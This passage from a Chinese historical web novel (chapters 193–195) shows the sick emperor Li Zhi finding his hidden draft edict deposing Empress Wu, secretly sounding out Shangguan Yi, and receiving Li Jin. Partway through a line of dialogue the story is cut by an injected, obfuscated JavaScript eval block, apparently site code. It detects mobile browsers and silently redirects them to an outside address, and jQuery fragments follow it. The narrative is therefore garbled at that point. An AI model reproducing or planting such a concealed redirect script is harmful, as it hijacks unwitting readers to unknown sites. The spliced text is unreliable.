每一个字,都像烧红的烙铁,烫在他的心头,烫在他那曾经无比骄傲、如今却脆弱不堪的帝王尊严上。他感到一种前所未有的孤独和冰冷,仿佛被整个世界遗弃。宫墙之外,那个他曾经统治的、万民俯首的帝国,正在按照另一个女人和一个臣子的意志,高效而平稳地运转着,甚至可能运转得更好。而他,这个名义上的天子,却像一尊陈旧的神像,被供奉在这华丽的宫殿里,逐渐被灰尘覆盖,被世人遗忘。
“啊——!”一声压抑到极致的、如同受伤野兽般的低吼,从他喉咙深处挤出。他猛地挥臂,将榻边小几上的药碗、蜜饯、书卷,统统扫落在地!瓷器碎裂的刺耳声响,在空旷的殿内回荡。
宫人们吓得魂飞魄散,跪了一地,瑟瑟发抖,无人敢上前。
李治剧烈地喘息着,胸口起伏,眼前阵阵发黑。破碎的瓷片映出他扭曲而苍白的面容。他看着那些碎片,看着自己倒映在其中、支离破碎的影子,忽然觉得,那也许就是他现在最真实的写照——一个破碎的、无用的、被遗忘的帝王。
无边的黑暗和眩晕再次袭来,将他吞没。在失去意识的前一刻,他脑海中最后一个清晰的念头,不是对死亡的恐惧,而是一种近乎怨毒的冰凉:这江山,这天下,还是我李治的吗?还是……早已不知不觉,换了人间?
第193章 旧诏藏枕下
夜,深沉如墨。长生殿内,最后一盏守夜的宫灯也熄了,只余下寝殿深处御榻旁一盏小小的、罩着素纱的羊角灯,在药香的氤氲中,散发着朦胧而脆弱的光晕。这光,勉强勾勒出榻上人模糊的轮廓,却照不透那浓得化不开的黑暗,也驱不散那弥漫在空气里的、混杂着疾病与绝望的死寂。
李治醒了。或者说,他从未真正入睡。白日里王德真那些话语,如同淬了毒的芒刺,一根根钉在他的脑海里,在寂静无声的深夜里,反复搅动,带来一阵阵尖锐而窒息的痛楚。“只知天后、李公,不知陛下”……“牝鸡司晨,天下太平”……每一个字,都像烧红的烙铁,在他帝王最后的尊严上,烙下屈辱的印记。
他缓缓睁开眼,视线适应了昏暗。头痛依旧隐隐发作,眩晕感如同潮水,时涨时落,让他对时间和空间的感知都有些错乱。他感到一种溺水般的窒息,仿佛这华丽的寝殿、这柔软的御榻,正在无声地吞噬他,将他拖入一个名为“遗忘”的无底深渊。
他想动一动,想坐起来,想推开这令人窒息的帷幔,想呼吸一口窗外冰冷但新鲜的空气。然而,身体却沉重得不听使唤,四肢百骸都透着虚弱和疼痛。他只能徒劳地睁着眼,望着帐顶那片被微弱灯光映出的、模糊而扭曲的龙凤祥云纹样。那曾经象征着无上皇权的图腾,此刻在他眼中,却像一张巨大的、嘲笑着他的网。
不,不应该是这样的。他是天子,是大唐的皇帝,是天可汗!他曾经也意气风发,也曾梦想着超越父皇的功业。是什么时候开始,一切都变了?是那该死的风疾,一点点蚕食了他的健康,也蚕食了他的权力?还是……那个女人,那个他曾经深爱、依赖,如今却让他感到无比陌生和恐惧的女人,在不知不觉中,攫取了一切?
媚娘……他的皇后,他的天后。他想起她初入宫时的明媚娇憨,想起她在感业寺青灯下的倔强眼神,想起她在他被头痛折磨时,温柔而坚定地握着他的手,替他批阅奏章,用清晰冷静的声音,将复杂的朝政一一剖析明白。那时,他是感激的,是依赖的,甚至带着一种隐秘的庆幸——庆幸有这样一个聪慧果决的妻子,能在他力不从心时,撑起这片江山。
可什么时候,这份依赖变成了不安?这份庆幸变成了猜忌?是她处理政务越来越娴熟,目光越来越锐利,语气越来越不容置疑的时候?是朝臣们看她的眼神,从最初的惊疑、审视,逐渐变成敬畏、甚至谄媚的时候?是“二圣临朝”的说法开始流传,是“天后敕”的效力渐渐与“皇帝诏”并驾齐驱,甚至……在某些人心中,更有分量的时候?
还有李瑾。那个他一手提拔起来的寒门俊杰,那个替他、替大唐打下了赫赫战功的能臣。他信任他,甚至依赖他,将兵权托付,将朝政倚重。李瑾也从未让他失望,谦逊、忠诚、能干。可如今,在百姓口中,在那些“只知天后、李公”的议论里,李瑾的名字,竟与媚娘紧紧连在一起,成了这“太平盛世”的另一根支柱。那他呢?他李治在哪里?他这个皇帝,难道真成了泥塑木偶,成了只能在祭天仪式上被抬出来展示的象征?
一股混杂着愤怒、不甘、屈辱和深深无力的情绪,如同岩浆般在他胸中奔突,烧得他五脏六腑都在灼痛。他想怒吼,想砸碎眼前的一切,想冲出去,向全天下宣告,他才是皇帝!是大唐唯一的主人!
可喉咙里只发出“嗬嗬”的、破风箱般的声音。身体依旧沉重,连抬起手臂都艰难。无边的绝望,比黑暗更浓,将他彻底淹没。
就在这极致的痛苦与自我厌弃中,一个久远得几乎被遗忘的念头,如同蛰伏的毒蛇,骤然苏醒,吐出了冰冷的信子。那个念头,属于许多年前,一个同样被头痛和眩晕折磨,却对权力失控感到更深刻恐惧的、相对年轻的帝王。
废后。
是的,废后。他曾经动过这个念头,在媚娘的权威开始令他隐隐不安,在外朝一些忠于李唐的老臣私下进言,在某种对“牝鸡司晨”的本能恐惧和帝王尊严受损的愤怒交织下,他确实动过这个念头。那是在麟德年间,还是更早?具体因为什么由头,已经有些模糊了,或许是某次她未经他明确同意就处置了一位重要官员,或许是她在朝堂上的某个决定过于独断,触碰了他敏感的神经……
他只记得,在某个同样被病痛和猜忌折磨的深夜,他屏退了所有人,用颤抖的手,亲自在纸上写下了废后的诏书草稿。没有用正式的诏书格式,没有玉玺,甚至没有明确的罪名,只是些凌乱而愤怒的字句——“皇后武氏,恃宠骄横,干政专权,有失妇德,难承宗庙……可废为庶人……”
笔迹是凌乱的,带着病人手腕的无力与内心的激烈挣扎。写完之后,他看着那寥寥数语,却感到了更深的恐惧。不是恐惧废掉她,而是恐惧废掉她之后,朝局会如何动荡?自己这病体,能否掌控?弘儿、贤儿他们还那么小……还有,内心深处,他真的能承受失去她的后果吗?那个陪伴他度过无数艰难时刻,替他分担了无数重担的女人……
最终,那页纸没有被制成诏书,没有发出。它被他像烫手山芋一样,仓促地折叠起来,塞进了某个隐秘的角落。是哪里?是这御榻之下?还是某个箱笼的夹层?时间太久,记忆被病痛侵蚀,有些模糊了。
但此刻,在极度的屈辱和失控感驱使下,这个被深埋的念头,连同那页可能早已泛黄脆弱的纸,变得无比清晰而诱人。它像是一根救命稻草,一个虚弱的、卧病在床的帝王,在感到自己的一切——权力、尊严、甚至存在感——都被另一个女人和她的“贤臣”剥夺时,所能抓住的、最后一点证明自己仍是“主宰”的虚幻凭证。
对,就是那里。他模糊地记起,似乎是在这御榻靠里的某个暗格,或是铺垫之下。当年,是怕人发现,才藏得如此隐秘。
一股不知从哪里涌出的力气,支撑着他,用颤抖的手,艰难地、一寸寸地,挪动身体。沉重的锦被滑落,带来一阵寒意,但他浑然不觉。他喘息着,额头上渗出细密的冷汗,伸出手,在御榻内侧摸索。木质床沿光滑冰凉,他的手指划过雕刻精细的花纹,探入缝隙,触到锦褥下坚硬的床板。
在哪里?到底在哪里?他有些焦躁,头痛似乎更剧烈了,眼前阵阵发黑。但他不管不顾,执拗地摸索着。终于,在靠近床头、一个极其隐蔽的角落,他的指尖触到了一块略微松动的雕花板。心中猛地一跳,他用指甲抠住边缘,用力——板子被掀开了,露出一个不大的、黑黢黢的暗格。
没有灰尘,显然时常有人清理御榻周围,但这暗格的位置实在太巧妙,被厚重的锦褥和复杂的雕花完全遮盖,若非知晓,绝难发现。李治的心跳得飞快,混合着一种病态的兴奋和莫名的恐惧。他颤抖着手,探入暗格。
指尖触到了冰凉的、光滑的物体,是玉?不,是瓷。是一个小小的、扁平的甜白瓷盒。他将其取出,借着微弱的灯光,看清了盒子的模样。很普通,甚至有些粗糙,像是宫外寻常之物。他打开盒盖。
里面没有珍宝,只有几样零碎物件:一枚早已褪色的、幼稚的彩绳结,似乎是弘儿幼时所编;一小缕用红绳系着的、柔细的胎发,不知是哪个皇儿的;还有……一页折叠得整整齐齐,但边缘已有些毛糙发黄的纸。
就是它!
李治的手抖得厉害,几乎拿不稳那页轻飘飘的纸。他定了定神,深吸一口气,像是打开一个潘多拉魔盒,缓缓将纸展开。
熟悉的、略显虚浮的字迹映入眼帘。是他的字,即使因病而显得力道不足,但笔锋转折间的习惯,不会错。那些字句,带着多年前的愤怒、猜疑和挣扎,扑面而来:
“……皇后武氏,自先帝时入侍宫闱,朕念其微劳,加以恩宠,位至中宫。奈何恃宠而骄,渐涉朝政,外托辅佐之名,内怀专恣之实。结交外臣,窥测朕意,擅作威福,紊乱纲常。朕每加训诫,略无悔改,反生怨望。长此以往,非社稷之福,亦非朕保全之道也。着即废为庶人,移居别所……”
后面还有几句,字迹更加潦草,似乎是后来添补,又似乎是想写什么却最终放弃的涂改痕迹,大意是“然其育有皇子,多年伴驾,不无微功……可酌留妃位,以观后效……” 显然是内心极端矛盾的体现。
纸的右下角,没有日期,没有印玺,只有一点干涸的、暗红色的印记,像是指印,又像是……曾经滴落的血迹?李治不记得了。或许是他当时头痛剧烈,咳血沾染?或许只是朱砂?
他紧紧捏着这页纸,薄薄的纸张却仿佛有千钧之重,压得他喘不过气。那些字句,像是一面镜子,照出了多年前那个同样被病痛和权力焦虑折磨的帝王,照出了他内心深处对媚娘那份根深蒂固的、连自己都不敢完全承认的恐惧与忌惮。
“渐涉朝政”……“外托辅佐之名,内怀专恣之实”……“结交外臣”……“紊乱纲常”……
多年前的指控,与今日王德真所言,与他自己切身的感受,何其相似!甚至,今日的情形,比当年草诏时,更甚!当年的媚娘,虽然已开始参与政事,但权威远不如今日,也未曾有“天后”之称,更未与李瑾这等能臣形成如此稳固的同盟。当年的他,虽然病痛缠身,但对朝局仍有相当的掌控力,仍有信心在她越过界限时,有能力制止。
可现在呢?
现在,媚娘已是“二圣”之一,是万民称颂的“天后”,批红决事,威权日重。李瑾坐镇枢密,掌天下兵马,虽忠心可鉴,但其存在本身,就是对她权威的巨大加持。而他李治,却已病入膏肓,连这寝殿都难出一步,成了一个彻头彻尾的、被高高供起的摆设!一个连民间都“只知天后、李公,不知陛下”的可怜虫!
废后?现在?
一个近乎荒谬的念头闪过脑海,随即带来的是更深的寒意和自嘲。现在废后?拿什么废?凭这具随时会倒下的病体?凭这页见不得光的、连正式草诏都算不上的废纸?还是凭那些早已被边缘化、或慑于天后威势不敢出声的所谓“忠臣”?
只怕诏书未出,自己就先“病重不治”了吧?媚娘会怎么做?李瑾会如何反应?朝局会如何震动?弘儿……他的弘儿,又将置于何地?
巨大的恐惧,比之前单纯的愤怒和屈辱,更彻底地攫住了他。他仿佛看到,自己这轻飘飘的一纸废后令,会像投入滚油的火星,瞬间引爆无法控制的灾难。不仅无法夺回权力,反而会将他、将弘儿、甚至将李唐江山,都拖入万劫不复的深渊。
“嗬……嗬……” 他喉咙里发出困兽般的喘息,捏着纸张的手指因为过度用力而骨节发白,指甲深深掐入掌心,带来尖锐的痛感,才让他勉强维持一丝清醒。
他看着那些字,那些多年前出自他手的、充满猜忌和杀机的字,又想起媚娘这些年的辛劳,想起她将政务处理得井井有条,想起她在他病榻前依旧尽心伺候(尽管近来次数渐少),想起她为几个儿女的操持,想起他们曾经有过的、或许掺杂了利益与算计,但未必全无真心的情分……
恨吗?恨。怕吗?怕。可除了恨和怕,就没有别的了吗?
那页薄纸,此刻仿佛有千钧之重,又仿佛烫手无比。留之无用,弃之……不甘。这是一种怎样的煎熬?
最终,他像是用尽了全身力气,颤抖着手,将那张纸凑近了榻边那盏小小的羊角灯。火苗跳动,映着他苍白扭曲的脸。只要一下,只要轻轻一松手,或者往前一送,这张代表了帝王最后一点隐秘反抗、也代表了他内心最不堪的猜忌与软弱的纸,就会化为灰烬。连同他那些不甘、恐惧、屈辱,似乎也能随之焚毁。
他的手指颤抖着,在火苗上方停留,纸张的边缘开始微微卷曲、发黄、变黑。只需再近一寸……
然而,就在最后一刻,他猛地缩回了手,将纸张紧紧攥在胸前,仿佛那是最后的救命稻草。不,不能烧!烧了,就什么都没有了!就连这点可怜的、证明他曾经试图反抗过的痕迹,都没有了!他李治,就真的成了一个彻头彻尾的、连内心愤怒都不敢保留的傀儡!
他急促地喘息着,冷汗浸透了中衣。他看看手中的纸,又看看那跳动的火苗,眼神疯狂而挣扎。最后,他像是崩溃般,将那张纸胡乱地重新折好,连同那瓷盒和里面的小物件,一股脑地塞回暗格,砰地一声合上挡板,仿佛要将一个恐怖的魔鬼重新关回去。
做完这一切,他虚脱般地瘫倒在锦褥之中,仿佛刚刚经历了一场生死搏斗,比与千军万马对峙还要耗尽心力。胸口剧烈起伏,眼前阵阵发黑,耳边嗡嗡作响。
暗格合上了,秘密重新被隐藏。但有些东西,一旦被翻出,就再也无法假装不存在。那页纸上的字句,如同最恶毒的咒语,深深烙印在他的脑海,与王德真的话语、与宫墙外那“只知天后、李公”的议论,交织在一起,日夜啃噬着他残存的神智。
他睁着空洞的眼睛,望着帐顶。羊角灯的光晕,在他涣散的瞳孔中,化作一片模糊的光斑。废后诏书还在,但他知道,那更像一个绝望的象征,一个无用的安慰,一个他连实施都不敢的、可悲的幻想。
真正的较量,不在这一纸空文。而在那高悬的“二圣临朝”的帘幕之后,在那执掌枢密院的政事堂中,在那宫墙之外,亿万黎民和文武百官的心中。而他,被困在这方寸病榻,连投下这枚无用棋子的力气,似乎都已失去。
无边的疲惫和更深的绝望,如同这寝殿内浓重的黑暗,彻底淹没了他。他闭上眼睛,两行冰凉的液体,无声地滑过消瘦苍白的脸颊,没入鬓边花白的发丝中,消失不见。夜还很长,而他的囚笼,似乎永无尽头。
第194章 密召托孤臣
长生殿的夜,似乎格外漫长。自上次王德真一番“忠言”,又翻出那页陈年废后草诏后,李治便陷入一种更深沉的静默。他不再时常召人询问外间事,对每日例行的请安、太医诊脉,也都只是漠然以对,仿佛灵魂已抽离了这具被病痛折磨的躯体,只留下一具空壳,在药香和死寂中,日复一日地腐朽。
然而,那静默之下,是岩浆奔涌般的激烈挣扎。废后诏书像一根毒刺,深深扎在他心里,每一次心跳都带来尖锐的痛楚和**。他不再轻易对宫人发怒,不再摔砸东西,只是常常睁着眼,望着床顶的藻井,一看就是几个时辰,眼神空洞,却又仿佛燃烧着某种幽暗的火焰。
他知道,那页纸救不了他,更动不了媚娘分毫。它只是一个象征,一个他软弱、犹豫、最终失败的象征。他需要的,是真正的力量,是能够制衡、至少是能够在他“山陵崩”之后,保护弘儿、制衡媚娘的力量。
他想到了托孤。不是托给媚娘,也不是托给李瑾,而是托给那些真正忠于李唐、有威望、有能力,或许也对媚娘专权心存疑虑的老臣。在他还活着的时候,秘密布置,留下后手。
这个念头一旦滋生,便如同藤蔓般疯狂蔓延。他开始在脑海中筛选人选。谁?谁是真正可信的?谁又能在这般情势下,敢于、且有力量去做些什么?
许敬宗?不,此老虽颇有智计,但过于圆滑,且与媚娘走得太近,近年来更是对东宫属官多有告诫,显然已彻底倒向天后。李义府?更不可能,此人本就是媚娘一手提拔,是“北门学士”的核心,更是推行新政、压制旧族的得力干将,恐怕早已唯媚娘马首是瞻。至于其他当朝宰相、六部尚书,要么是媚娘提拔的新贵,要么慑于天后威势,明哲保身,谁又会、谁又敢来蹚这浑水?
思来想去,一个名字浮上心头——上官仪。
上官仪,西台侍郎、同东西台三品,也算宰相之一。此人出身陕州上官氏,文采斐然,尤工五言诗,时人称为“上官体”,是太宗皇帝晚年颇为赏识的词臣。高宗即位后,对其文才亦颇看重,累有升迁。最重要的是,此人性格较为端谨,并非许敬宗、李义府那般趋炎附势之徒,且出身旧族,对武后大力提拔寒门、压制旧族、修改《氏族志》等举措,内心未必全然赞同。更重要的是,李治隐约记得,麟德元年那场未遂的废后风波中,上官仪似乎……曾被自己私下征询过意见?虽然当时他态度暧昧,未置可否,但至少,他知晓那段隐秘,且未曾向外泄露。这或许意味着,他对武后,并非铁板一块。
还有一人,刘仁轨。这位老将,战功赫赫,曾任宰相,如今虽因年迈退居闲职,只挂着太子少傅的荣誉头衔,但军中威望犹在,门生故旧遍布诸卫。他为人刚正,甚至有些倔强,当年征辽时,连太宗皇帝的面子都敢驳。最关键的是,刘仁轨是坚定的“李唐”拥护者,对女子干政,尤其对武后以天后的身份如此深度涉政,其内心深处的不以为然,李治是能感受到的。而且,刘仁轨是太子的老师之一,与东宫有香火之情。
上官仪代表一部分清流文臣和旧族势力,刘仁轨代表军中一部分元老宿将的潜在影响。若有他二人,一内一外,一文一武,或许……能在将来,对媚娘形成某种牵制,至少,能在关键时刻,护住弘儿?
这个想法让李治枯寂的眼中,燃起一丝微弱的光。他像溺水之人抓住了浮木,尽管这浮木看起来并不那么可靠。他必须试一试,在他还有最后一口气,还能发出最后一点声音的时候。
召见必须绝对秘密。不能通过正常渠道,不能留下任何记录。他信不过如今的内侍省,王德真或许忠诚,但其人谨慎太过,未必敢担此干系,且其行踪未必能完全避开媚娘的耳目。他需要更隐秘、更直接的方式。
他想起了另一个人——范云仙。一个在宫中默默无闻多年的老宦官,品阶不高,只在御药房当差,负责一些粗使杂务。此人原是李治为太子时的旧仆,因一次小过被当时掌事的大宦官责罚,几乎丧命,是李治偶然遇见,救了他。后来李治登基,此人却未求恩赏,只求了个御药房的闲差,说是年纪大了,图个清净。李治偶尔生病,他会悄悄送来一些对症又不引人注目的民间偏方药材。这是个知恩、且懂得隐藏的人。
在一个没有月亮的深夜,李治以失眠头痛、需用特殊安神香料为由,指名要范云仙调配。这是极不寻常的,御药房有专门的奉御、直长,皇帝用药更是严格。但当值的宦官不敢违拗,只得将早已睡下的范云仙唤起。
范云仙来了,低眉顺眼,动作迟缓,与宫中成千上万普通老宦官并无二致。他默默调配好香料,在香炉中点燃,清苦微辛的气息渐渐弥漫。就在他准备躬身退下时,李治用极其微弱、只有两人能听到的声音,快速说出了一个名字和一句暗语。
范云仙混浊的眼珠几不可察地动了一下,没有抬头,没有多余的动作,只是躬身的幅度似乎深了半分,然后便悄无声息地退了出去,仿佛只是完成了一次最寻常的差事。
两日后,夜,子时三刻。长生殿侧后方,一处专供宫人行走、早已废弃不用的僻静角门,被轻轻推开一条缝。一个披着深色斗篷、身形清瘦的身影闪了进来,在早已等候在此的范云仙无声的指引下,如同影子般融入更深的黑暗,几个转折,避开所有巡更的侍卫和未眠的宫人,来到了长生殿寝宫一扇极少开启的后窗下。
窗棂被从内轻轻叩响三下,停顿,又两下。早已在窗后紧张等待的李治,对着守在榻边、心已提到嗓子眼的王德真点了点头。王德真手脚发软,却不敢有误,抖着手拨开内闩,推开一条仅容人侧身通过的缝隙。
斗篷人影迅速闪入,带进一股夜风的寒气。他反手轻轻合上窗,摘下风帽,露出一张清癯而儒雅、此刻却布满紧张与忧虑的脸,正是上官仪。
“臣……上官仪,叩见陛下。”他压着嗓子,欲行大礼。
“不必多礼。”李治的声音沙哑而急迫,指了指榻前早已准备好的锦垫,“夜深冒险,委屈上官卿了。坐。”
上官仪没有坐,而是就着跪姿向前挪了半步,抬头望向御榻上的皇帝。尽管已有心理准备,但亲眼见到李治如此憔悴消瘦、气若游丝的模样,上官仪心中仍是猛地一沉。这哪里还是当年那个意气风发的天子?
“陛下……”上官仪喉头哽咽,“陛下圣体,竟已……臣等无能,不能为陛下分忧……”
“朕时日无多,自知之明尚有。”李治打断他,没有时间寒暄,直入主题,“今日密召卿来,是有要事相托,亦是垂死之问,望卿以实情告我。”
上官仪心中一凛,知道最关键的时刻到了,他俯首道:“陛下垂询,臣必知无不言,言无不尽。”
“外间如今,究竟是何光景?朕虽卧病,耳目未全聋。你如实说,不必避讳。”李治目光紧盯着他。
上官仪沉默片刻,似乎在斟酌措辞,最终缓缓道:“回陛下,自陛下静养以来,天后殿下总理万机,夙兴夜寐,朝政并无疏失。近年来,漕运渐通,仓廪稍实,去岁河南水患、今岁北地雪灾,亦能及时赈济,未生大乱。边镇在梁国公整饬下,亦颇安稳。朝野上下……大体安稳。”
“大体安稳?”李治咀嚼着这四个字,嘴角泛起一丝讥诮,“好一个‘大体安稳’。那不安稳之处呢?朕听说,如今民间只知有天后、李公,不知有朕。可是实情?”
上官仪身体微微一颤,将头埋得更低:“市井愚民,无知妄言,陛下不必挂怀。陛下乃天子,万民之主,此乃天经地义。”
“天经地义?”李治忽然激动起来,一阵咳嗽,吓得王德真连忙上前抚背,被他挥手挡开。他喘着气,目光如刀,盯着上官仪,“上官仪!朕要听实话!不是这些套话!朕问你,如今朝中,还有几人真心视朕为君?还有几人,在朕‘山陵崩’之后,能谨守臣节,护佑太子,不使女主……不使外姓,篡夺我李唐江山?!”
最后一句,他几乎是低吼出来,尽管气力不济,声音嘶哑,却带着雷霆般的绝望与愤怒,在寂静的寝殿中回荡,震得上官仪面色惨白,王德真更是差点瘫软在地。
篡夺李唐江山!陛下竟已疑惧至此!上官仪心中掀起惊涛骇浪。他早知道陛下召他前来,必有极其重要、甚至凶险无比之事,却未料到,陛下已将对武后的忌惮,提升到了“篡国”的高度。
“陛下!”上官仪以头触地,声音发颤,“陛下何出此言!天后……天后纵有干政之实,然终究是皇后,是太子生母,与陛下乃一体同心。太子仁孝聪颖,年已长成,正是国之储贰。梁国公等亦是朝廷柱石,忠心可鉴。我大唐江山稳固,陛下万万不可作此想,恐伤及社稷根本啊!”
“一体同心?”李治惨笑,“好一个一体同心!朕如今这般模样,与她,可还像是一体?太子仁孝,朕岂不知?可正因他仁孝,朕才更忧!媚娘之能,媚娘之势,卿在朝中,难道看不见?朕在,她尚是天后。朕若不在了,她便是太后!以她之能,以她之势,以她对权柄的执着,届时,弘儿一个仁孝之君,可能驾驭?可能制衡?朝中这些大臣,有几个是真心拥戴太子,而非慑于天后之威?你上官仪,可能保证?!”
一连串的质问,如同重锤,敲在上官仪心头。他额上渗出冷汗。不能。他内心有个声音在回答。他无法保证。武后的手腕、心计、对权力的掌控,他比任何人都清楚。这些年,多少曾经反对她、轻视她的人,都被她或明或暗地打压、贬谪、甚至消失。朝中重要位置,多安插其亲信或她提拔的寒门。太子虽然仁孝,但性子偏软,且长期在武后严苛教导下,独立决断之能如何,尚未可知。一旦陛下驾崩,武后以太后之尊临朝,太子能否顺利亲政,亲政后又能否真正掌权,实是未知之数。
“臣……臣惶恐。”上官仪伏地,不敢抬头,“陛下所
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17039161|193951||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
虑,亦是人情之常。然……然废立之事,关乎国本,动辄倾覆。天后临朝多年,并无重大过失,天下皆知。且与梁国公等能臣相处……融洽,共理朝政,方有今日局面。若……若陛下骤然有变,只恐朝局动荡,反为不美。如今……当务之急,应是保全圣体,缓缓图之。待陛下康复,或待太子殿下更加沉稳,再行……再行安排,方是稳妥之道。”
缓缓图之?李治心中一片冰凉。上官仪的话,看似有理,实则推诿。他怕了。他不敢。他不敢正面回答如何制衡武后,只能寄望于虚无缥缈的“陛下康复”和“太子成长”。这朝中,还有谁不怕?还有谁敢?
“刘仁轨呢?”李治不死心,换了个方向,“若朕予你密诏,联合刘公等宿将老臣,在朕百年之后,扶保太子,肃清朝纲,可能行?”
上官仪猛地抬头,眼中闪过极度的恐惧,随即又深深埋下:“陛下!万万不可!此……此乃取祸之道!刘公虽然耿直,在军中有旧谊,然如今天下兵权,半在枢密,梁国公治军有方,诸卫将领多为其提拔或信服。刘公年事已高,久不典兵,恐难呼应。且……且若无确凿之罪,以何名目‘肃清朝纲’?若师出无名,便是谋逆!届时非但不能保全太子,恐反陷太子于险地,令朝野震荡,国本动摇啊陛下!”
他喘了口气,继续恳切道,声音带着哭腔:“陛下,臣知陛下为太子计,为社稷虑,一片苦心。然如今之势,牵一发而动全身。天后之权,根深蒂固,非一日可摇。梁国公之忠,陛下亦曾屡次嘉许。或……或可怀柔,可托付。陛下若能赐以手诏,明示传位太子,并托天后、梁国公及诸位宰相为辅政大臣,共保少主。以天后之明,梁国公之忠,或可保……保江山平稳过渡。此乃老臣肺腑之言,万望陛下三思!”
怀柔?托付?手诏?辅政大臣?李治听着上官仪的建议,只觉得荒谬而悲哀。这与他想要的制衡、牵制,甚至关键时的“清君侧”,相差何止**!这不过是另一种形式的妥协,是将他李唐江山的未来,彻底交到武媚娘和李瑾手中,祈求他们的“忠诚”与“操守”!
他最后的希望,在上官仪这充满恐惧的推诿和“稳妥”建议中,彻底破灭了。他高估了这些所谓“忠臣”的胆量,也低估了武媚娘这些年经营出的、令人窒息的权威。
看着匍匐在地、瑟瑟发抖的上官仪,李治忽然感到一阵极度的疲惫和恶心。这就是他寄予希望的托孤之臣?这就是他李治的朝廷栋梁?他挥了挥手,连说话的力气都没有了,只从喉咙里挤出几个字:“朕……知道了。你……回去吧。今日之事,若泄半字……”
“臣不敢!臣以全家性命起誓,今日之事,出自陛下之口,入臣之耳,绝无第三人知晓!臣告退!”上官仪如蒙大赦,又重重磕了个头,迅速起身,重新披上斗篷,在范云仙的引领下,如同来时一样,悄无声息地消失在窗外浓重的夜色里。
寝殿内恢复了寂静,只剩下那安神香料苦辛的气息,和李治粗重而绝望的喘息。
“陛下……”王德真颤声上前,想说什么。
“滚。”李治闭上眼,从牙缝里挤出一个字。
王德真不敢多言,默默退到远处阴影里。
李治独自躺在无尽的黑暗和死寂中。召见上官仪,本是他鼓起最后勇气、压上最后筹码的一搏。结果,却只证明了他的无力,他的孤独,他的……穷途末路。
连上官仪这样知晓过往、出身旧族、理论上应对武后有所抵触的人,都不敢、不愿、也不能为他做什么。他还能指望谁?刘仁轨?只怕结果也一样,甚至更糟。
绝望,如同最冰冷的海水,淹没了他。原来,在真正的权力面前,在武媚娘经营多年的、固若金汤的权威面前,他这皇帝的称号,是如此的苍白无力。他甚至找不到一把能刺破这铁幕的**。
难道,真的只能像上官仪所说,写下那样一份托孤手诏,将一切寄托于媚娘的“明”和李瑾的“忠”?将弘儿和这大唐江山的未来,交付于那不可测的人心与无常的时势?
他不甘心!死也不甘心!
可不甘心,又能如何?
他剧烈地咳嗽起来,仿佛要把心肺都咳出来。王德真慌忙端来温水,他却一把推开,喘息着,目光涣散地望向虚空,那里仿佛有无数张脸在晃动——武媚娘冷静睿智的脸,李瑾沉稳忠谨的脸,李弘仁厚却犹疑的脸,上官仪恐惧推诿的脸……最后,都化作了宫墙外万千百姓模糊的面容,他们口中呼喊的,似乎是“天后万岁”,是“李公贤明”,唯独没有他李治。
“嗬……嗬……”他喉咙里发出破风箱般的声音,眼前彻底黑暗下去。在失去意识的最后一刻,他脑海中只有一个念头在疯狂盘旋:这江山,难道真要改名换姓?我李治,难道真是李唐的……**之君?
夜还长,黑暗无边。而帝王的挣扎,在这方寸病榻间,显得如此微不足道,又如此绝望刺心。
第195章 瑾探病陈情
长生殿里的气氛,仿佛凝固的琥珀,沉重、滞涩,带着经年不散的药味和一种无声的绝望。自那夜密召上官仪无功而返后,李治便陷入了一种更深的沉寂。他不再试图联系任何人,不再询问外间事务,甚至连每日的汤药,也常常需要宫人再三劝请,才勉强喝下几口。他像一具抽离了灵魂的躯壳,躺在华丽的御榻上,睁着眼,望着虚空,唯有胸膛微弱的起伏,证明这尊帝王之躯内,尚有一息残存。
王德真和几个贴身内侍日夜悬心,却不敢多问一句。他们能感受到陛下身上散发出的那股令人窒息的死气,那并非全然源于病痛,更像是一种心火燃尽后的灰烬。他们只能更加小心地伺候,将呼吸都放得轻了又轻,生怕一丝声响,就会惊碎这脆弱的平静,引来不可测的风暴。
然而,该来的总会来。这日午后,天空阴沉,铅灰色的云层低垂,似乎酝酿着一场冬雪。王德真轻手轻脚地进来,在榻前屏风外犹豫了片刻,才用极低的声音禀报:“陛下,梁国公李瑾,在殿外求见,说是听闻陛下近日圣体不安,特来问安。”
李治空洞的眼神,几不可察地动了一下。李瑾?他怎么会来?是奉了媚娘的命,来探听虚实?还是他自己……听到了什么风声?自他病重以来,外臣非召不得入内寝,尤其是李瑾这样手握重权的外臣,更是避嫌。他今日主动前来,是为何意?
一股混杂着猜忌、警惕、甚至是一丝连自己都不愿承认的微弱期望的情绪,如同投入死水中的石子,在李治沉寂的心湖里漾开几圈涟漪。他沉默了许久,久到王德真以为陛下又昏睡过去,或是根本不愿见时,才听到一个沙哑得几乎不似人声的音节:“……宣。”
声音很轻,却带着一种奇异的重量。
“是。”王德真如蒙大赦,连忙躬身退出。不多时,殿外响起沉稳而清晰的脚步声,不疾不徐,由远及近,最终停在寝殿门口。
“臣,李瑾,叩见陛下。愿陛下圣体安康。”声音清朗温润,一如既往的恭谨,透过屏风传来。
“进来。”李治的声音依旧沙哑,他费力地侧了侧头,目光投向屏风的方向。
李瑾的身影转过屏风,出现在李治的视线中。他未着朝服,只穿了一身深青色常服,腰间束着玉带,身姿挺拔如松,即便在这满是病气的寝殿里,也带着一股清正刚健之气。他的面容比几年前更见风霜,眼神却依旧清澈锐利,只是此刻,那锐利被深深的忧虑和恭顺所覆盖。他手中未持任何物件,只在进门后,便撩起袍角,在距离御榻数步之外,一丝不苟地行了大礼。
“臣闻陛下欠安,忧心如焚。冒昧请见,扰了陛下静养,死罪。”李瑾叩首,声音恳切。
李治没有立刻让他平身,只是用那双深陷的、却依旧锐利的眼睛,打量着伏在地板上的臣子。几年枢府生涯,执掌天下兵马,位极人臣,李瑾身上却并无多少骄矜之气,反而愈发沉稳内敛。这份沉稳,此刻在李治眼中,却显得格外刺目。他是否也在用这份沉稳,从容地经营着自己的势力,与媚娘“内外相得”,将他这个皇帝架空?
